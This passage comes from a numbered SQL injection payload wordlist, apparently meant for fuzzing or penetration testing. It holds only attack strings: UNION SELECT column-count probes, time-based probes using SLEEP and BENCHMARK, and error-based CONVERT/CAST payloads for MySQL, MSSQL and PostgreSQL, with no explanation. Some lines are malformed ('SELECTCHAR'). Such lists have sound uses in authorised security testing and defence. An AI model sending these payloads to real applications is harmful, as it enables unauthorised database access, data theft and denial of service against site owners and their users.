1,2,3,4,5,6-- 511 | UNION ALL SELECT 1,2,3,4,5,6,7-- 512 | UNION ALL SELECT 1,2,3,4,5,6,7,8-- 513 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- 514 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10-- 515 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- 516 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- 517 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13-- 518 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- 519 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- 520 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- 521 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 522 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 523 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 524 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 525 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 526 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- 527 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 528 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 529 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 530 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- 531 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- 532 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- 533 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- 534 | UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- 535 | UNION SELECT @@VERSION,SLEEP(5),3 536 | UNION SELECT @@VERSION,SLEEP(5),USER(),4 537 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5 538 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6 539 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7 540 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8 541 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9 542 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10 543 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11 544 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12 545 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13 546 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14 547 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15 548 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16 549 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17 550 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18 551 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 552 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 553 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 554 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 555 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 556 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 557 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 558 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 559 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 560 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 561 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 562 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 563 | UNION SELECT @@VERSION,SLEEP(5),"'3 564 | UNION SELECT @@VERSION,SLEEP(5),"'3'"# 565 | UNION SELECT @@VERSION,SLEEP(5),USER(),4# 566 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5# 567 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6# 568 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7# 569 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8# 570 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9# 571 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10# 572 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11# 573 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12# 574 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13# 575 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14# 576 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15# 577 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16# 578 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17# 579 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18# 580 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# 581 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# 582 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# 583 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# 584 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# 585 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# 586 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# 587 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# 588 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# 589 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# 590 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# 591 | UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# 592 | UNION ALL SELECT USER()-- 593 | UNION ALL SELECT SLEEP(5)-- 594 | UNION ALL SELECT USER(),SLEEP(5)-- 595 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5)-- 596 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A'))-- 597 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL-- 598 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL-- 599 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL-- 600 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL-- 601 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL-- 602 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL-- 603 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 604 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 605 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 606 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 607 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 608 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 609 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 610 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 611 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 612 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 613 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 614 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 615 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 616 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 617 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 618 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 619 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 620 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 621 | UNION ALL SELECT @@VERSION,USER(),SLEEP(5),BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 622 | UNION ALL SELECT NULL-- 623 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))-- 624 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))-- 625 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))-- 626 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- 627 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- 628 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))-- 629 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))-- 630 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))-- 631 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))-- 632 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))-- 633 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))-- 634 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))-- 635 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))-- 636 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))-- 637 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))-- 638 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))-- 639 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))-- 640 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))-- 641 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))-- 642 | UNION ALL SELECT NULL# 643 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))# 644 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))# 645 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))# 646 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# 647 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# 648 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))# 649 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))# 650 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))# 651 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))# 652 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))# 653 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))# 654 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))# 655 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))# 656 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))# 657 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))# 658 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))# 659 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))# 660 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))# 661 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))# 662 | UNION ALL SELECT NULL 663 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88))) 664 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88))) 665 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88))) 666 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) 667 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) 668 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88))) 669 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88))) 670 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118))) 671 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120))) 672 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80))) 673 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75))) 674 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116))) 675 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69))) 676 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65))) 677 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113))) 678 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112))) 679 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106))) 680 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107))) 681 | AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) 682 | AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113))) 683 | AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC) 684 | AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) 685 | UNION ALL SELECT 